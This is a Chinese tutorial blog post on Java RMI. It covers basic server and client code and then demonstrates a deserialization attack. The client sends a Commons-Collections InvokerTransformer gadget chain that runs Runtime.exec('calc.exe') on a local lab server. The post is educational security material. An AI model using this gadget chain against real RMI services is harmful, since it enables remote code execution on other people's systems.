概念
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
RMI可分为三大部分:
1 2 3
| Server: 提供远程的对象 Client: 调用远程的对象 Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
|
开发步骤
- 编写远程服务接口,该接口必须继承 java.rmi.Remote 接口,方法必须抛出java.rmi.RemoteException 异常;
- 编写远程接口实现类,该实现类必须继承 java.rmi.server.UnicastRemoteObject 类;
- 创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中;
- 编写客户端并且调用远程对象;
代码实现
1、创建远程接口,继承java.rmi.Remote接口,并且修饰符需要为public
否则远程调用的时候会报错,并且定义的方法里面需要抛出一个RemoteException
的异常。
1 2 3 4 5 6 7 8 9
| package com.ljw.test;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface RMIInterface extends Remote { String sayHello(String name) throws RemoteException; }
|
2、实现远程接口,继承 java.rmi.server.UnicastRemoteObject类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.ljw.test;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RMIServiceImpl extends UnicastRemoteObject implements RMIInterface { protected RMIServiceImpl() throws RemoteException { System.out.println("构造方法"); }
@Override public String sayHello(String name) throws RemoteException { return "Hello " + name; } }
|
3、创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.ljw.test;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException { RMIInterface rmiService = new RMIServiceImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("rmiService", rmiService); } }
|
4、编写客户端并且调用远程对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.ljw.test;
import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Client { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099); RMIInterface rmiInterface = (RMIInterface) registry.lookup("rmiService"); System.out.println(rmiInterface.sayHello()); } }
|
如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。客户端运行结果如下:
RMI攻击
使用RMI反序列化攻击需要两个条件:第一个是接收Object类型的参数,第二就是RMI服务端存在命令执行的利用链。
远程接口的代码,需要定义一个Object类型的参数方法。
1 2 3 4 5 6 7 8 9 10 11
| package com.ljw.test;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface User extends Remote { public String hello(String hello) throws RemoteException; void work(Object obj) throws RemoteException; void say() throws RemoteException; }
|
远程接口实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.ljw.test;
import java.rmi.RemoteException; import java.rmi.server.RMIClientSocketFactory; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User { @Override public String hello(String hello) throws RemoteException { System.out.println("say"); return "say"; }
@Override public void work(Object obj) throws RemoteException { System.out.println("work被调用了"); }
@Override public void say() throws RemoteException { System.out.println("say被调用了"); } protected UserImpl() throws RemoteException { }
protected UserImpl(int port) throws RemoteException { super(port); }
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException { super(port, csf, ssf); } }
|
服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.ljw.test;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException { User user = new UserImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user", user); System.out.println("rmi running...."); } }
|
客户端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package com.ljw.test;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class Client { public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
String url = "rmi://127.0.0.1:1099/user"; User User = (User) Naming.lookup(url); User.work(getPayload()); }
public static Object getPayload() throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { org.apache.commons.collections.Transformer[] transformers = new org.apache.commons.collections.Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap(); map.put("value", "test"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, transformedMap); return instance; } }
|
客户端运行结果
之所以会弹出计算器,前面有提到过RMI在传输数据的时候,会被序列化,传输的是序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。
结尾
对RMI做了简单的了解和使用,后续会对RMI的底层进行分析…
参考
https://www.cnblogs.com/nice0e3/p/13927460.html